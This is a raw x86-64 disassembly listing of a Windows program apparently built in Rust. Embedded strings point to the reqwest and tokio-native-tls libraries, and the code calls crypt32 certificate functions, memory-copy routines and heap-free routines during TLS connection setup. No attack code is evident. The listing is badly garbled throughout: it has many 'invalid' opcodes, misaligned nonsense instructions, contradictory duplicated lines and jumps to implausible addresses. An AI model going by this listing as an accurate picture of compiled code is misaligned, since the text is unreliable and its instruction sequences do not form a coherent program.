call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0xe8]
add byte [rax], al
add byte [rax], al
xor eax, eax
mov r8d, 0
add byte [rax], al
add byte [rax], al
test bpl, bpl
je 0x1400ac9fe
mov r8, qword [rsp + 0xf0]
add byte [rax], al
add byte [rcx + 0x39], cl
dec dword [rdi + rcx + 0x44]
ror byte [rax - 0x73], 0x8c
and al, 0x20
add eax, 0x894c0000
add byte [rax], al
invalid
invalid
cmp r15, rdi
cmove r8, rax
lea rcx, [rsp + 0x520]
add byte [rax], al
add byte [rax], al
mov rdx, r12
mov r9, r14
int1
loop 0x1400aca5e
mov ecx, esi
int1
call fcn.1400cfc90
mov r14, qword [rsp + 0x530]
add byte [rcx - 0x7d], cl
inc byte [rdx]
mov qword [rsp + 0xa0], rbx
jne 0x1400aca6f
pushfq
and al, 0xa0
add byte [rax], al
add byte [rbp + 0x41], dh
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
pop rax
invalid
mov qword [rsp + 0x760], rax
mov qword [rsp + 0x750], 1
mov dword [rsp + 0x750], 1
mov dword [rsp + 0x750], 1
cmp dword [rsp + 0xab0], 2
jne 0x1400acacd
lea rcx, [rsp + 0xab8]
call fcn.1400adf40
jmp 0x1400acada
add al, ch
rcl dword [rax + rax], cl
add bl, ch
imul esp, dword [rsi + 0xf], 0x6f
mov ah, 0x24
and byte [0xcb4eca7a], al
lodsb al, byte [rsi]
and al, 0x38
add eax, 0x8b480000
test byte [rax + rax*2], ah
add eax, 0x89480000
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
mov esp, 0xd824
add byte [rax], al
movdqa xmm6, xmmword [rsp + 0x520]
mov r13d, dword [rsp + 0x538]
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0xd8], 0
je 0x1400acaf2
push rdi
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0xc8], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], rax
mov r15, qword [rsp + 0xe8]
cmp r15, rdi
jne 0x1400acafe
jmp 0x1400acb64
lea rcx, [rsp + 0xab0]
call fcn.1400ae3e0
lock dec qword [r12]
dec qword [r12]
mov word [rax + rsi*4], fs
or al, byte [rax]
add al, ch
invalid
dec qword [r12]
jne 0x1400acdce
mov rcx, r12
call fcn.1400ae740
add byte [rax], al
add byte [rax], al
jmp 0x1400acdce
add al, byte [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x40
xor eax, eax
mov qword [rsp + 0x40], rax
cmp r15, rdi
cmp edi, edi
je 0x1400acac8
mov r15, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je case.0x1400a9a80.23
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rsp + rsi + 0x48]
mov eax, edi
mov rax, rdi
shr rax, 0x3e
jne 0x1400ad701
lea rbp, [rdi + rdi]
movzx eax, byte [0x14017d2b0]
test dword [rdi], eax
or eax, 0x48c93100
mov edx, ebp
test dword [rdi], eax
or eax, 0x48c93100
mov edx, ebp
call fcn.1400e0010
test rax, rax
invalid
jne 0x1400acb4e
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rdx, rbp
call fcn.140104360
mov eax, 2
xor ebp, ebp
mov qword [rsp + 0xb8], rax
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r15
cli
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
movzx ebp, byte [rsp + 0x128]
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x48], al
mov r15, qword [rsp + 0x118]
add byte [rdi], cl
mov dh, 0x84
and al, 0x29
add dword [rax], eax
add byte [rax + 0x4c482444], cl
mov r15, qword [rsp + 0x118]
mov r15, qword [rsp + 0x118]
add byte [rbp - 0x7b], cl
push qword [rax + rbx + 0x48]
mov eax, dword [rsp + 0x120]
test byte [rax + riz], ah
add dword [rax], eax
invalid
test r15, r15
je 0x1400acb9d
mov rax, qword [rsp + 0x120]
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add al, dh
inc qword [r15]
mov qword [rsp + 0xc0], rax
lock inc qword [r15]
jg 0x1400acb9d
ud2
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0xab0]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
test r14, r14
test byte [rax - 0x78], 0x6c
and al, 0x27
test byte [rax - 0x78], 0x6c
and al, 0x27
je 0x1400acbf1
test r13d, r13d
je 0x1400acbfb
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r13
call fcn.1400e0010
test rax, rax
mov r14, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rdi], cl
test byte [rdx + 0xb], cl
add byte [rax], al
mov rbp, rax
mov rdx, r14
jmp 0x1400acc0f
mov ebp, 1
xor r13d, r13d
jmp 0x1400acc23
mov ebp, 1
lea rdx, [0x14016f768]
mov r14, qword [rsp + 0x98]
mov rcx, rbp
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
call qword [sym.imp.secur32.dll_FreeContextBuffer]
movabs r14, 0x8000000000000000
cmp qword [rsp + 0x100], r14
je 0x1400acc6c
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rcx, [rsp + 0x520]
call fcn.1400afe10
mov r14, qword [rsp + 0x520]
movups xmm0, xmmword [rsp + 0x528]
movaps xmmword [rsp + 0x250], xmm0
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0x750]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x528], rax
mov qword [rsp + 0x660], 0
mov qword [rsp + 0x668], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x670], xmm0
mov qword [rsp + 0x680], 0
mov qword [rsp + 0x688], 1
movups xmmword [rsp + 0x690], xmm0
mov qword [rsp + 0x6a0], r13
mov qword [rsp + 0x6a8], rbp
mov qword [rsp + 0x6b0], r13
mov qword [rsp + 0x6b8], 0
mov qword [rsp + 0x6c0], rdi
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x6d0], rdi
mov qword [rsp + 0x6d8], r14
movaps xmm0, xmmword [rsp + 0x250]
movups xmmword [rsp + 0x6e0], xmm0
mov dword [rsp + 0x6f0], 0x10000
invalid
invalid
add byte [rax], al
add byte [rax], al
add dword [rax], eax
mov byte [rsp + 0x6f4], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
invalid
invalid
mov qword [rsp + 0x708], r12
movdqu xmmword [rsp + 0x710], xmm6
mov qword [rsp + 0x720], r15
mov rax, qword [rsp + 0xc0]
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
invalid
add byte [rax], al
mov qword [rsp + 0x730], 1
mov qword [rsp + 0x738], 0
add byte [rdi], cl
mov dh, 0x44
and al, 0x27
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
invalid
add byte [rdi], cl
mov dh, 0x44
and al, 0x27
mov byte [rsp + 0x740], al
movzx eax, byte [rsp + 0x48]
and al, 0x48
and al, 0x48
mov byte [rsp + 0x741], al
mov word [rsp + 0x742], 0x100
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0x520]
call fcn.1400aff30
mov r15, qword [rsp + 0x750]
mov rdi, qword [rsp + 0x758]
mov rbx, qword [rsp + 0x760]
invalid
invalid
add byte [rax], al
test r15, r15
je 0x1400acdf1
push rax
invalid
invalid
cmp rdi, 2
je 0x1400ace0c
lea rdx, [rsp + 0x768]
lea rcx, [rsp + 0x260]
mov r8d, 0x218
add al, ch
invalid
invalid
invalid
invalid
add al, ch
jmp 0x1880ad36e
lea rcx, [rsp + 0xd8]
call fcn.1400b0020
mov rax, qword [rsp + 0x68]
shl rax, 1
test rax, rax
jne 0x1400ace47
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
jne 0x1400ace6b
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
jne 0x1400ace91
jmp 0x1400aceaf
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
add byte [rax - 0x2f], cl
loopne 0x1400aceaf
test eax, eax
add byte [rax - 0x2f], cl
loopne 0x1400aceaf
test eax, eax
je case.0x1400978a6.99
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
je 0x1400aceaf
xor ebp, ebp
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word [rax + rax]
mov rcx, qword [r14 + rbp*8]
inc rbp
call r12
cmp r13, rbp
jne 0x1400acea0
cmp qword [rsp + 0x50], 0
je 0x1400acec9
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
mov r12, rbx
je 0x1400ad532
cmp rdi, 2
mov rbx, qword [rsp + 0xa0]
jne 0x1400ad593
invalid
add byte [rax + 2], bh
mov rdi, r12
lea r14, [rsi + 0x790]
mov byte [rsi + 0x789], 1
mov qword [rsi + 0x558], rax
mov qword [rsi + 0x560], rdi
mov esi, 0x560
mov esi, 0x560
mov qword [rsi + 0x568], r12
lea r12, [rsi + 0x570]
lea rdx, [rsp + 0x1a18]
mov r8d, 0x128
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x698], 0
lea r13, [rsi + 0x6a0]
lea rdx, [rsp + 0x1848]
mov r8d, pe_nt_image_headers64
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x790]
cmp rax, 3
je 0x1400acf7a
cmp eax, 2
jne 0x1400ad05d
add byte [rax], al
add al, ch
invalid
mov rax, qword [rsi + 0x558]
test rax, rax
test eax, eax
test eax, eax
je 0x1400ad075
lea rdx, [rsi + 0x560]
cmp eax, 1
jne 0x1400ad0d8
add dword ds:[rax], eax
invalid
add dword ds:[rax], eax
add byte [rcx - 0x48], al
sub byte [rdx], al
add byte [rax], al
mov r8d, 0x228
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsi + 0x790]
mov qword [rsi + 0x790], 2
cmp rdi, 2
je 0x1400ad6bc
lea rdx, [rsi + 0x798]
lea r14, [rsi + 0x8d0]
lea rcx, [rsp + 0x528]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x660]
mov r8d, pe_nt_image_headers64
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x520], rdi
mov qword [rsp + 0x658], rbx
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0x520]
call fcn.1400aff30
cmp qword [rsp + 0x750], 0
mov rbp, qword [rsp + 0x758]
mov rdi, qword [rsp + 0x760]
je 0x1400ad0ef
cmp rbp, 2
jne 0x1400ad498
mov ebp, 2
jmp 0x1400ad164
mov rbp, qword [rsi + 0x560]
mov rdi, qword [rsi + 0x568]
lea rcx, [rsp + 0x15e0]
mov r8d, 0x128
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsi + 0x698]
lea rcx, [rsp + 0x1930]
mov r8d, pe_nt_image_headers64
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + 0x788], 1
cmp rbp, 3
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
jne 0x1400ad1b9
jmp 0x1400ad521
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rdx]
mov ebp, 2
jmp 0x1400ad1ae
lea rdx, [rsp + 0x768]
lea rbx, [rsp + 0x260]
mov r8d, 0x218
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rsp + 0xab0]
mov r8d, 0x218
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rsp + 0xbe0]
lea rcx, [rsp + 0x980]
mov r8d, 0x128
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xd8]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp rbp, 3
je 0x1400ad516
lea rbx, [rsi + 0x790]
lea rcx, [rsp + 0x15e0]
lea rdx, [rsp + 0x980]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1930]
lea rdx, [rsp + 0xd8]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbx], 2
je 0x1400ad1ae
mov rcx, rbx
call fcn.1400ae580
mov word [rsi + 0x788], 1
add byte [rax], al
add dword [rax], eax
xor ebx, ebx
lea rcx, [rsp + 0x1e48]
lea rdx, [rsp + 0x15e0]
add byte [rax], al
add byte [rax], al
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1b40]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280ad1eb
invalid
pop rsi
add eax, 0x4c64100
and al, 1
mov rcx, qword [rsp + 0xb0]
call fcn.1400adc00
cmp rbp, 2
jne 0x1400ad242
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280ad1eb
invalid
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad691
mov r15, rax
mov qword [rax], rdi
lea r12, [0x140139c80]
mov dil, 2
cmp qword [rsi + 0x9c0], 0
jne 0x1400ad2b6
jmp 0x1400ad2c3
movzx eax, byte [0x14017d2b0]
mov edx, 0x228
xor ecx, ecx
call fcn.1400e0010
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je 0x1400ad6d4
mov r15, rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x1e48]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15 + 0x138], rbx
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
mov rcx, r15
add rcx, 0x140
lea rdx, [rsp + 0x1b40]
and al, 0x40
sbb eax, dword [rax]
add byte [rax], al
and al, 0x40
sbb eax, dword [rax]
add byte [rax], al
mov r8d, pe_nt_image_headers64
invalid
add byte [rax], al
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
lea r12, [0x140140118]
or dword cs:[rax], eax
add byte [rax], al
add al, ch
push rdx
pop rbp
add eax, 0x258d4c00
outsb dx, byte [rsi]
or dword cs:[rax], eax
xor edi, edi
cmp qword [rsi + 0x9c0], 0
je 0x1400ad2c3
mov rcx, qword [rsi + 0x9c8]
add byte [rax], al
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d3], 0
je 0x1400ad301
cmp dword [rsp + 0xcc8], 2
jne 0x1400ad2f4
lea rcx, [rsp + 0xcd0]
call fcn.1400adf40
jmp 0x1400ad301
lea rcx, [rsp + 0xcc8]
call fcn.1400ae3e0
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
xchg byte [rax - 0xffffffe], dh
dec qword [rax]
jne 0x1400ad461
mov rcx, qword [rsi + 0x2b0]
call fcn.140036760
xchg esp, eax
clc
dec dword [rax - 0x75]
xchg byte [rax - 0xffffffe], bh
dec qword [rax]
invalid
xchg esp, eax
clc
dec dword [rax - 0x75]
xchg byte [rax - 0xffffffe], bh
dec qword [rax]
je 0x1400ad472
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esi, 0x290
add byte [rbp + rcx + 0x48], dh
mov ecx, dword [rsi + 0x298]
cmp qword [rsi + 0x290], 0
je 0x1400ad34d
mov rcx, qword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
add byte [rax + 0x2d4be], al
add byte [rax], al
add byte [rax + 0x2d4be], al
add byte [rax], al
je 0x1400ad38d
cmp byte [rsi + 0x270], 2
add byte [rdx], al
je 0x1400ad38d
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
add byte [rax - 0x75], cl
xchg esi, eax
pop rax
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7a], cl
invalid
add al, byte [rax]
invalid
add byte [rax - 0x75], cl
xchg esi, eax
pop rax
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7a], cl
invalid
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
jb 0x1400ad3c8
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
add byte [rax - 0x75], cl
xchg esi, eax
loopne 0x1400ad3fb
add byte [rax], al
add byte [rbx + rcx*4 - 0x7a], cl
call 0x13f0ad405
add dword [rax], eax
add bh, bh
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
lea rcx, [rsi + 0x128]
mov gs, word [rax]
add dword [rax], eax
add al, ch
mov esi, 0x31fffb97
in eax, dx
add dword [rax], eax
add bh, bh
push rax
adc byte [rax - 0x73], cl
mov gs, word [rax]
add dword [rax], eax
add al, ch
mov esi, 0x31fffb97
in eax, dx
mov byte [rsi + 0x2d5], 0
mov qword [r13], r15
mov qword [r13 + 8], r12
mov byte [r13 + 0x10], bpl
mov byte [r13 + 0x11], dil
adc dword [rbx + 0x41382444], ecx
mov dword [rbp + 0x12], eax
adc dword [rbx + 0x41382444], ecx
mov dword [rbp + 0x12], eax
movzx eax, word [rsp + 0x3c]
mov word [r13 + 0x16], ax
invalid
invalid
mov al, 1
invalid
mov byte [rsi + 0x2d2], al
movaps xmm6, xmmword [rsp + 0x1f70]
add rsp, 0x1f88
add esp, 0x1f88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne 0x1400ad336
test esp, eax
invalid
invalid
invalid
test esp, eax
invalid
mov rcx, qword [rsi + 0x2b8]
mov ecx, dword [rsi + 0x2b8]
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rdx], 0
add al, ch
invalid
mov rdx, qword [rsi + 0x2c0]
call fcn.1400049d0
cmp qword [rsi + 0x290], 0
jne 0x1400ad340
jne 0x1400ad479
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
test dword [rbp - 0x16000002], ebp
mov ch, 0xfe
invalid
invalid
jmp 0x1400ad34d
invalid
lea rdx, [rsp + 0x768]
lea rbx, [rsp + 0x260]
mov r8d, 0x218
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0xab0]
mov r8d, 0x218
sbb byte [rdx], al
add byte [rax], al
sbb byte [rdx], al
add byte [rax], al
mov rcx, r15
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rsp + 0xbe0]
mov qword [rsi + 0x790], rbp
mov qword [rsi + 0x798], rdi
mov esi, 0x798
mov esi, 0x798
lea rcx, [rsi + 0x7a0]
mov r8d, 0x128
mov fs, word [rax + 0x41000007]
mov eax, 0x128
movabs al, byte [0x128b841000007]
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x8c8], 0
pop rdx
add eax, 0x86c74800
enter 8, 0
add byte [rax], al
add byte [rax], al
mov r8d, pe_nt_image_headers64
mov rcx, r14
int1
int1
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov byte [rax], 4
mov byte [r12], 3
mov byte [r13 + 0x11], 3
mov al, 5
jmp 0x1400ad43f
lea r14, [rsp + 0x750]
lea rdx, [rsp + 0x260]
invalid
mov r8d, 0x218
mov rcx, r14
add byte [rcx + rcx*4 - 0xf], cl
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0x880]
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1848]
sbb byte [rax], al
add byte [rcx - 0x48], al
call 0x18c0ad57d
mov edx, edi
add byte [rcx - 0x48], al
call 0x18c0ad57d
mov edx, edi
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov rbx, qword [rsp + 0xa0]
pushfq
and al, 0xa0
add byte [rax], al
invalid
jno 0x1400ad5dc
add eax, 0x48c03100
mov ebx, dword [rsp + 0xa0]
pushfq
and al, 0xa0
add byte [rax], al
invalid
add byte [rcx], dh
ror byte [rax - 0x75], 0x9c
pushfq
pushfq
and al, 0xa0
add byte [rax], al
add cl, ch
pop rsp
stc
invalid
jmp 0x1400aceef
add byte [rax], al
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0x880]
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
invalid
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1848]
mov r8d, pe_nt_image_headers64
mov rdx, r15
add byte [rcx + rcx*4 - 6], cl
call sub.VCRUNTIME140.dll_memcpy
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x1400aceef
movzx eax, byte [0x14017d2b0]
mov edx, 0x1d
sbb eax, 0x31000000
leave
sbb eax, 0x31000000
leave
call fcn.1400e0010
test rax, rax
test eax, eax
test eax, eax
je 0x1400ad740
test byte [0x1890ad60d], dh
mov esp, eax
mov r12, rax
movups xmm0, xmmword [0x14013ff10]
movups xmmword [rax + 0xd], xmm0
adc dword [rax + 0xd], eax
or eax, 0xe305100f
sub byte [rcx], cl
add byte [rdi], cl
adc dword [rax], eax
movups xmm0, xmmword [0x14013ff03]
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
cld
or al, 0
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad6ad
mov r15, rax
mov qword [rax], 0x1d
add byte [rax], al
add byte [rcx + rcx*4 + 0x60], cl
or byte [rax - 0x39], cl
adc byte [0x1290ad652], bl
sub ebx, 0xffffffff
jmp 0x1400ad654
invalid
lea r8, [0x140139718]
mov rcx, r15
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
mov edx, 0x2000
mov rcx, r15
call fcn.1401046e0
jo 0x1400ad67d
invalid
jo 0x1400ad67d
add byte [rax - 0x73], cl
or eax, 0x8be88
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov esi, 0x8d4c0008
add eax, 0x8bf09
lea r8, [0x140139590]
mov edx, 0x1e
call fcn.140104a60
mov ecx, 8
mov edx, 8
call fcn.140104380
add byte [rax], al
add al, ch
loopne 0x1400ad70a
mov ecx, 1
mov rdx, r12
mov edx, esp
loop 0x1400ad691
call fcn.140104360
mov bl, 0x6c
add eax, 0x8b900
add byte [rax], al
mov ecx, 8
mov edx, 0x18
call fcn.140104380
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x14013ea40]
mov edx, 0x1e
call fcn.140104a60
invalid
invalid
add eax, 0x8b900
add byte [rax], al
mov ecx, 8
mov edx, 0x228
call fcn.140104380
mov ecx, 8
mov edx, 0x10
call fcn.140104380
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0xe
call fcn.140104360
call fcn.140010910
mov ecx, 1
mov edx, 0x13
adc eax, dword [rax]
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
call fcn.140104360
add eax, 0x1b900
add byte [rax], al
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x1e
call fcn.140104360
invalid
add byte [rax], al
add al, ch
cmp al, 0x6c
add eax, 0x1b900
add byte [rcx + 1], bh
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x21
call fcn.140104360
add al, ch
sub eax, 0xb900056c
add dword [rax], eax
add byte [rax], al
invalid
mov ecx, 1
add byte [rcx + rcx*4 - 0x16], cl
mov rdx, r13
call fcn.140104360
and byte [rbp + rax], ch
mov ecx, 1
mov edx, 0x1d
add byte [rdx + 0x1d], bh
call fcn.140104360
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx eax, byte [rcx + 0x2d2]
add byte [rax], al
and byte [rdi], cl
mov dh, 0x81
rol byte [rdx], cl
add byte [rax], al
cmp rax, 6
ja 0x1400ad9a0
cmp byte [rdx], al
add byte [rax], al
invalid
cmp byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x140174b5c]
lea ecx, [0x140174b5c]
lea ecx, [0x140174b5c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov rcx, rsi
call fcn.140066bd0
cmp byte [rsi + 0xd0], 2
add byte [rax], al
add dh, byte [rdx + 0x2b]
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0xd8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov eax, dword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc r15b, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcfa5c
pop rsp
cli
or al, 0
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xcfa5c
pop rsp
cli
or al, 0
pop rsp
cli
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xf8]
mov rax, qword [rsi + 0xe0]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
call 0x18c0ad7cd
mov r8, qword [rsi + 0xf0]
mov r8, qword [rsi + 0xf0]
add byte [rax], al
call qword [rax + 0x10]
lea rcx, [rsi + 0x118]
mov rax, qword [rsi + 0x100]
add byte [rax], al
push rax
adc byte [rax - 0x73], cl
mov ds, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsi + 0x108]
add byte [rax], al
mov rdx, qword [rsi + 0x108]
mov r8, qword [rsi + 0x110]
mov eax, dword [rsi + 0x110]
add bh, bh
call qword [rax + 0x10]
cmp byte [rsi + 0xc8], 2
push rax
adc byte [rax + 0xc8be], al
add byte [rdx], al
je 0x1400ad81d
lea rcx, [rsi + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], ch
mov edx, dword [rsi + 0xb0]
mov rax, qword [rsi + 0xa8]
mov eax, dword [rsi + 0xa8]
mov rdx, qword [rsi + 0xb0]
mov r8, qword [rsi + 0xb8]
call qword [rax + 0x10]
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], cl
add byte [rax], al
mov rdx, qword [rsi + 0x90]
mov rax, qword [rsi + 0x88]
add byte [rax], al
mov rdx, qword [rsi + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
